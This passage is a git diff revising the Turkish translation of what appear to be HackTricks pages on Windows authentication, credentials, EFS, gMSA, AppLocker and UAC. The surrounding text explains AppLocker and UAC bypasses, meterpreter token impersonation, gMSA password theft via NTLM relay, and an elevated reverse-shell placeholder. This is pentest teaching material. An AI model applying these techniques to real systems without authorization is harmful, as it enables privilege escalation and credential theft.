+SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcı (SSP) olarak adlandırılır ve her Windows makinesinde DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolü desteklemesi gerekir.
 
 ### Ana SSP'ler
 
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
index f0875e543..005f92c2f 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
@@ -4,10 +4,10 @@
 
 ## AppLocker Politikası
 
-Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya yürütülebilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
+Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalıştırılmasına izin verilen onaylı yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı kötü amaçlı yazılımlardan ve bir organizasyonun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
 
-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar**. Yürütülebilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri üzerinde **ince ayar kontrolü** sağlar.\
-Organizasyonların genellikle **cmd.exe ve PowerShell.exe'yi** ve belirli dizinlere yazma erişimini **engellediği** yaygındır, **ancak bunların hepsi atlatılabilir**.
+[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) Microsoft'un **uygulama beyaz listeleme çözümüdür** ve sistem yöneticilerine **kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol** sağlar. **Çalıştırılabilir dosyalar, betikler, Windows yükleyici dosyaları, DLL'ler, paketlenmiş uygulamalar ve paketlenmiş uygulama yükleyicileri** üzerinde **ince ayar kontrolü** sağlar.\
+Organizasyonların genellikle **cmd.exe ve PowerShell.exe'yi engellemesi** ve belirli dizinlere yazma erişimini kısıtlaması yaygındır, **ancak bunların hepsi atlatılabilir**.
 
 ### Kontrol
 
@@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 $a = Get-ApplockerPolicy -effective
 $a.rulecollections
 ```
-Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir ve sistemdeki mevcut kural setini gözden geçirme imkanı sağlar:
+Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir ve sistemde uygulanan mevcut kural setini gözden geçirme imkanı sağlar:
 
 - `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
 
@@ -35,10 +35,10 @@ C:\windows\tracing
 ```
 - Yaygın olarak **güvenilir** [**"LOLBAS's"**](https://lolbas-project.github.io/) ikili dosyaları, AppLocker'ı atlatmak için de yararlı olabilir.
 - **Kötü yazılmış kurallar da atlatılabilir**
-- Örneğin, **``**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izinli olacaktır.
+- Örneğin, **``**, istediğiniz herhangi bir yere **`allowed`** adında bir **klasör oluşturabilirsiniz** ve bu izin verilecektir.
 - Kuruluşlar genellikle **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** yürütülebilir dosyasını **engellemeye** odaklanır, ancak **diğer** [**PowerShell yürütülebilir konumlarını**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) unutur, örneğin `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` veya `PowerShell_ISE.exe`.
 - **DLL uygulaması çok nadiren etkinleştirilir** çünkü sistem üzerinde ek bir yük oluşturabilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı yüksektir. Bu nedenle, **DLL'leri arka kapı olarak kullanmak AppLocker'ı atlatmaya yardımcı olacaktır**.
-- Herhangi bir süreçte **Powershell** kodu çalıştırmak ve AppLocker'ı atlatmak için [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
+- Herhangi bir süreçte **Powershell** kodunu **çalıştırmak** ve AppLocker'ı atlatmak için [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) veya [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) kullanabilirsiniz. Daha fazla bilgi için kontrol edin: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
 
 ## Kimlik Bilgileri Depolama
 
@@ -52,7 +52,7 @@ Yerel kimlik bilgileri bu dosyada mevcuttur, şifreler hashlenmiştir.
 **LSA**, yerel **güvenlik politikasını** (şifre politikası, kullanıcı izinleri...), **kimlik doğrulama**, **erişim belirteçleri**... yönetir.\
 LSA, sağlanan kimlik bilgilerini **SAM** dosyasında (yerel giriş için) **kontrol eden** ve bir alan kullanıcısını kimlik doğrulamak için **alan denetleyicisi** ile **konuşan** olacaktır.
 
-**Kimlik bilgileri**, **LSASS sürecinin** içinde **kaydedilir**: Kerberos biletleri, NT ve LM hashleri, kolayca çözülebilen şifreler.
+**Kimlik bilgileri**, **işlem LSASS** içinde **kaydedilir**: Kerberos biletleri, NT ve LM hashleri, kolayca çözülebilen şifreler.
 
 ### LSA gizli bilgileri
 
@@ -103,12 +103,12 @@ sc query windefend
 ```
 ## Şifreli Dosya Sistemi (EFS)
 
-EFS, dosyaları **simetrik anahtar** olan **Dosya Şifreleme Anahtarı (FEK)** ile şifreleyerek güvence altına alır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifrelenmiş dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının ilgili **özel anahtarı** $EFS akışından FEK'yi çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
+EFS, dosyaları **şifreleme** yoluyla güvence altına alır ve **Dosya Şifreleme Anahtarı (FEK)** olarak bilinen **simetrik anahtar** kullanır. Bu anahtar, kullanıcının **açık anahtarı** ile şifrelenir ve şifreli dosyanın $EFS **alternatif veri akışında** saklanır. Şifre çözme gerektiğinde, kullanıcının dijital sertifikasının karşılık gelen **özel anahtarı** $EFS akışından FEK'yi şifre çözmek için kullanılır. Daha fazla ayrıntı [burada](https://en.wikipedia.org/wiki/Encrypting_File_System) bulunabilir.
 
 **Kullanıcı başlatması olmadan şifre çözme senaryoları** şunları içerir:
 
-- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifreleri çözülür.
-- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifreleri çözülür.
+- Dosyalar veya klasörler, [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) gibi bir EFS dosya sistemine taşındığında, otomatik olarak şifre çözülür.
+- SMB/CIFS protokolü üzerinden ağda gönderilen şifreli dosyalar, iletimden önce şifre çözülür.
 
 Bu şifreleme yöntemi, sahibi için şifreli dosyalara **şeffaf erişim** sağlar. Ancak, sadece sahibin şifresini değiştirmek ve oturum açmak şifre çözmeye izin vermez.
 
@@ -130,7 +130,7 @@ Ayrıca bir klasör içinde `cipher /e` ve `cipher /d` komutlarını kullanarak
 
 #### Yetki Sistemi Olmak
 
-Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işleminin token'ını taklit edebilirsiniz (`incognito`'dan `impersonate_token`). Ya da sadece kullanıcının işlemine `migrate` yapabilirsiniz.
+Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** çalıştırmasını gerektirir. Eğer durum buysa, `meterpreter` oturumları kullanarak kullanıcının işleminin token'ını taklit edebilirsiniz (`incognito`'dan `impersonate_token`). Ya da sadece kullanıcının işlemine `migrate` edebilirsiniz.
 
 #### Kullanıcının şifresini bilmek
 
@@ -140,13 +140,13 @@ Bu yöntem, **kurban kullanıcının** ana bilgisayar içinde bir **işlem** ça
 
 Microsoft, IT altyapılarındaki hizmet hesaplarının yönetimini basitleştirmek için **Grup Yönetilen Hizmet Hesapları (gMSA)** geliştirmiştir. Geleneksel hizmet hesaplarının genellikle "**Şifre asla süresi dolmaz**" ayarı etkinken, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:
 
-- **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikalarına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemeleri gereksiz hale gelir.
+- **Otomatik Şifre Yönetimi**: gMSA'lar, alan veya bilgisayar politikasına göre otomatik olarak değişen karmaşık, 240 karakterli bir şifre kullanır. Bu süreç, Microsoft'un Anahtar Dağıtım Servisi (KDC) tarafından yönetilir ve manuel şifre güncellemeleri gereksiz hale gelir.
 - **Geliştirilmiş Güvenlik**: Bu hesaplar kilitlenmelere karşı bağışık olup, etkileşimli oturum açmak için kullanılamaz, böylece güvenliklerini artırır.
 - **Birden Fazla Ana Bilgisayar Desteği**: gMSA'lar, birden fazla ana bilgisayar arasında paylaşılabilir, bu da onları birden fazla sunucuda çalışan hizmetler için ideal hale getirir.
 - **Zamanlanmış Görev Yeteneği**: Yönetilen hizmet hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler.
 - **Basitleştirilmiş SPN Yönetimi**: Sistem, bilgisayarın sAMaccount ayrıntıları veya DNS adı değiştiğinde Hizmet Prensip Adını (SPN) otomatik olarak güncelleyerek SPN yönetimini basitleştirir.
 
-gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifrelenmiş bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
+gMSA'ların şifreleri, LDAP özelliği _**msDS-ManagedPassword**_ içinde saklanır ve Alan Denetleyicileri (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu şifre, [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) olarak bilinen şifreli bir veri bloğudur ve yalnızca yetkili yöneticiler ve gMSA'ların kurulu olduğu sunucular tarafından alınabilir, böylece güvenli bir ortam sağlanır. Bu bilgilere erişmek için, LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile kimlik doğrulaması yapılmalıdır.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
@@ -156,7 +156,7 @@ Bu şifreyi [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordRe
 ```
 [**Bu yazıda daha fazla bilgi bulun**](https://cube0x0.github.io/Relaying-for-gMSA/)
 
-Ayrıca, **gMSA**'nın **şifresini** **okumak** için bir **NTLM relay saldırısı** gerçekleştirme hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
+Ayrıca, **gMSA**'nın **şifresini** **okumak** için **NTLM relay attack** nasıl yapılacağı hakkında bu [web sayfasını](https://cube0x0.github.io/Relaying-for-gMSA/) kontrol edin.
 
 ## LAPS
 
@@ -168,7 +168,7 @@ Ayrıca, **gMSA**'nın **şifresini** **okumak** için bir **NTLM relay saldır
 
 ## PS Kısıtlı Dil Modu
 
-PowerShell [**Kısıtlı Dil Modu**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine izin verme, XAML tabanlı iş akışları, PowerShell sınıfları ve daha fazlası. 
+PowerShell [**Kısıtlı Dil Modu**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **PowerShell'i etkili bir şekilde kullanmak için gereken birçok özelliği** kısıtlar, örneğin COM nesnelerini engelleme, yalnızca onaylı .NET türlerine, XAML tabanlı iş akışlarına, PowerShell sınıflarına ve daha fazlasına izin verme.
 
 ### **Kontrol Et**
 ```powershell
@@ -221,7 +221,7 @@ Daha fazlasını [buradan](https://blog.netspi.com/15-ways-to-bypass-the-powersh
 
 Kullanıcıları kimlik doğrulamak için kullanılabilecek API'dir.
 
-SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır ve her Windows makinesinde bir DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolleri desteklemesi gerekir.
+SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorumlu olacaktır. Bunun için tercih edilen yöntem Kerberos'tur. Ardından SSPI, hangi kimlik doğrulama protokolünün kullanılacağını müzakere edecektir; bu kimlik doğrulama protokolleri Güvenlik Destek Sağlayıcıları (SSP) olarak adlandırılır ve her Windows makinesinde DLL biçiminde bulunur ve her iki makinenin de iletişim kurabilmesi için aynı protokolleri desteklemesi gerekir.
 
 ### Ana SSP'ler
 
@@ -238,9 +238,9 @@ SSPI, iletişim kurmak isteyen iki makine için uygun protokolü bulmaktan sorum
 
 #### Müzakere birkaç yöntem veya yalnızca birini sunabilir.
 
-## UAC - Kullanıcı Hesabı Kontrolü
+## UAC - Kullanıcı Hesabı Denetimi
 
-[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş etkinlikler için onay istemi** sağlayan bir özelliktir.
+[Kullanıcı Hesabı Denetimi (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş etkinlikler için onay istemi** sağlayan bir özelliktir.
 
 {{#ref}}
 uac-user-account-control.md
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
index 873b59e82..2f3698936 100644
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
+++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
@@ -4,7 +4,7 @@
 
 ## UAC
 
-[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi potansiyel olarak tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında** çalışır, aksi takdirde bir yönetici bu uygulama/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez.
+[Kullanıcı Hesabı Kontrolü (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), **yükseltilmiş aktiviteler için onay istemi** sağlayan bir özelliktir. Uygulamalar farklı `bütünlük` seviyelerine sahiptir ve **yüksek seviyeye** sahip bir program, **sistemi tehlikeye atabilecek** görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman **bir yönetici hesabının güvenlik bağlamında** çalışır, yalnızca bir yönetici bu uygulamalara/görevlere sistemde yönetici düzeyinde erişim izni verirse çalıştırılabilir. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez.
 
 Bütünlük seviyeleri hakkında daha fazla bilgi için:
 
@@ -12,7 +12,7 @@ Bütünlük seviyeleri hakkında daha fazla bilgi için:
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart bir kullanıcı anahtarı, normal seviyede düzenli işlemler yapmak için ve bir de yönetici ayrıcalıkları ile.
+UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart bir kullanıcı anahtarı, normal seviyede düzenli işlemler yapmak için ve yönetici ayrıcalıkları olan bir jeton.
 
 Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works), UAC'nin nasıl çalıştığını derinlemesine tartışmakta ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içermektedir. Yöneticiler, UAC'nin kendi organizasyonlarına özgü nasıl çalıştığını yerel düzeyde (secpol.msc kullanarak) veya bir Active Directory alan ortamında Grup Politika Nesneleri (GPO) aracılığıyla yapılandırıp dağıtmak için güvenlik politikalarını kullanabilirler. Çeşitli ayarlar detaylı olarak [burada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) tartışılmaktadır. UAC için ayarlanabilecek 10 Grup Politika ayarı vardır. Aşağıdaki tablo ek detaylar sağlamaktadır:
 
@@ -20,9 +20,9 @@ Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
 | [Kullanıcı Hesabı Kontrolü: Yerleşik Yönetici hesabı için Yönetici Onay Modu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Devre Dışı                                                  |
 | [Kullanıcı Hesabı Kontrolü: UIAccess uygulamalarının güvenli masaüstünü kullanmadan yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Devre Dışı                                                  |
-| [Kullanıcı Hesabı Kontrolü: Yönetici Onay Modu'ndaki yöneticiler için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Windows dışı ikili dosyalar için onay istemi                |
-| [Kullanıcı Hesabı Kontrolü: Standart kullanıcılar için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Güvenli masaüstünde kimlik bilgileri isteme                 |
-| [Kullanıcı Hesabı Kontrolü: Uygulama kurulumlarını tespit et ve yükseltme isteme](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) |
+| [Kullanıcı Hesabı Kontrolü: Yönetici Onay Modu'ndaki yöneticiler için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Windows dışı ikili dosyalar için onay istemi               |
+| [Kullanıcı Hesabı Kontrolü: Standart kullanıcılar için yükseltme isteminin davranışı](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Güvenli masaüstünde kimlik bilgileri istemi                 |
+| [Kullanıcı Hesabı Kontrolü: Uygulama kurulumlarını tespit et ve yükseltme istemesi](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) |
 | [Kullanıcı Hesabı Kontrolü: Sadece imzalanmış ve doğrulanmış yürütülebilir dosyaları yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Devre Dışı                                                  |
 | [Kullanıcı Hesabı Kontrolü: Sadece güvenli konumlarda kurulu UIAccess uygulamalarını yükselt](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Etkin                                                      |
 | [Kullanıcı Hesabı Kontrolü: Tüm yöneticileri Yönetici Onay Modu'nda çalıştır](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Etkin                                                      |
@@ -31,11 +31,11 @@ Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection
 
 ### UAC Atlatma Teorisi
 
-Bazı programlar, **kullanıcı yönetici grubuna ait** ise **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değeri ile bulunur. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır.
+Bazı programlar, **kullanıcı yönetici grubuna ait** ise **otomatik olarak yükseltilir**. Bu ikili dosyaların içinde _**Manifests**_ kısmında _**autoElevate**_ seçeneği _**True**_ değerine sahiptir. İkili dosya ayrıca **Microsoft tarafından imzalanmış** olmalıdır.
 
-Sonra, **UAC'yi atlatmak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları kullanarak **rastgele kod** çalıştırır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır.
+Sonra, **UAC'yi atlatmak** (bütünlük seviyesini **orta** seviyeden **yüksek** seviyeye çıkarmak) için bazı saldırganlar bu tür ikili dosyaları **rastgele kod çalıştırmak** için kullanır çünkü bu, **Yüksek seviye bütünlük sürecinden** çalıştırılacaktır.
 
-Bir ikilinin _**Manifest**_ dosyasını _**sigcheck.exe**_ aracını kullanarak kontrol edebilirsiniz. Ve süreçlerin **bütünlük seviyesini** _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanarak **görebilirsiniz**.
+Bir ikili dosyanın _**Manifest**_ dosyasını, Sysinternals'tan _**sigcheck.exe**_ aracını kullanarak **kontrol** edebilirsiniz. Ve süreçlerin **bütünlük seviyesini** _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanarak **görebilirsiniz**.
 
 ### UAC'yi Kontrol Et
 
@@ -48,7 +48,7 @@ EnableLUA    REG_DWORD    0x1
 ```
 Eğer **`1`** ise UAC **etkin**, eğer **`0`** ise veya **mevcut değilse**, UAC **etkisiz**dir.
 
-Sonra, **hangi seviyenin** yapılandırıldığını kontrol edin:
+Sonra, **hangi seviye** yapılandırıldığını kontrol edin:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
 
@@ -77,7 +77,7 @@ Eğer **`0`** (varsayılan), **yerleşik Yönetici hesabı** uzaktan yönetim g
 
 Tüm bu bilgiler **metasploit** modülü kullanılarak toplanabilir: `post/windows/gather/win_privs`
 
-Kullanıcınızın gruplarını da kontrol edebilir ve bütünlük seviyesini alabilirsiniz:
+Kullanıcınızın gruplarını kontrol edebilir ve bütünlük seviyesini alabilirsiniz:
 ```
 net user %username%
 whoami /groups | findstr Level
@@ -89,11 +89,11 @@ whoami /groups | findstr Level
 
 UAC atlatma, aşağıdaki durumda gereklidir: **UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.**
 
-UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatılmasının, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir.
+UAC'nın **en yüksek güvenlik seviyesinde (Her Zaman) atlatmanın, diğer seviyelerden (Varsayılan) çok daha zor olduğunu** belirtmek önemlidir.
 
 ### UAC devre dışı
 
-Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) **yönetici ayrıcalıklarıyla bir ters shell çalıştırabilirsiniz** (yüksek bütünlük seviyesi) gibi bir şey kullanarak:
+Eğer UAC zaten devre dışıysa (`ConsentPromptBehaviorAdmin` **`0`**) **yönetici ayrıcalıklarıyla bir ters kabuk çalıştırabilirsiniz** (yüksek bütünlük seviyesi) gibi bir şey kullanarak:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -154,7 +154,7 @@ Ayrıca, [bu](https://en.wikipedia.org/wiki/Windows_10_version_history) sayfayı
 
 #### Daha Fazla UAC Bypass
 
-**Burada AUC'yi atlamak için kullanılan tüm** teknikler **kurbanla tam etkileşimli bir shell** gerektirir (yaygın bir nc.exe shell yeterli değildir).
+**Burada** AUC'yi atlatmak için kullanılan **tüm** teknikler, kurbanla **tam etkileşimli bir shell** gerektirir (yaygın bir nc.exe shell yeterli değildir).
 
 Bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri **1** olan bir **işleme** geçin:
 
@@ -164,9 +164,9 @@ Bir **meterpreter** oturumu kullanarak elde edebilirsiniz. **Session** değeri *
 
 ### GUI ile UAC Bypass
 
-Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir bypass'a ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlamanızı sağlar.
+Eğer bir **GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz**, gerçekten bir bypass'a ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır.
 
-Ayrıca, birinin kullandığı (potansiyel olarak RDP aracılığıyla) bir GUI oturumu alırsanız, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **admin** olarak doğrudan bir **cmd** çalıştırabilirsiniz, böylece UAC tarafından tekrar istemde bulunulmaz, [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Bu biraz daha **gizli** olabilir.
+Ayrıca, birinin (potansiyel olarak RDP aracılığıyla) kullandığı bir GUI oturumu alırsanız, **yönetici olarak çalışan bazı araçlar** olacaktır; buradan örneğin **yönetici** olarak doğrudan bir **cmd** çalıştırabilirsiniz, böylece UAC tarafından tekrar istemde bulunulmaz, [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif) gibi. Bu biraz daha **gizli** olabilir.
 
 ### Gürültülü brute-force UAC bypass
 
@@ -174,17 +174,17 @@ Eğer gürültü yapmaktan rahatsız değilseniz, her zaman **şunu çalıştır
 
 ### Kendi bypass'ınız - Temel UAC bypass metodolojisi
 
-**UACME**'ye bir göz atarsanız, **çoğu UAC bypass'ının bir Dll Hijacking zafiyetini kötüye kullandığını** göreceksiniz (esas olarak kötü niyetli dll'yi _C:\Windows\System32_ içine yazarak). [Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun](../windows-local-privilege-escalation/dll-hijacking/).
